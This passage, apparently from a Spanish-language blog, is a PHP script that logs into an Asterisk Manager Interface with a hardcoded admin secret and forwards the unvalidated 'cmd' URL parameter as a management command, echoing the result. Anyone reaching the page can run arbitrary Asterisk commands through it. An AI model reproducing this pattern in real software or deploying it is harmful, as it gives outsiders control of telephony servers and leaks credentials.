$socket = fsockopen("127.0.0.1","5038", $errno, $errstr,10);
if (!$socket){
echo "$errstr ($errno)\n";
}else{
fputs($socket, "Action: Login\r\n");
fputs($socket, "UserName: admin\r\n");
fputs($socket, "Secret: 1456\r\n\r\n");
fputs($socket, "Action: Command\r\n");
fputs($socket, "Command: $_GET[cmd]\r\n");
fputs($socket, "Action: Logoff\r\n\r\n");
while(!feof($socket)){
$result=fgets($socket);
echo $result."<br>";
if(stristr($result, '--END COMMAND--') == TRUE) {
exit();
}
}
}
fclose($socket);
exit();
?>
No hay comentarios:
Publicar un comentario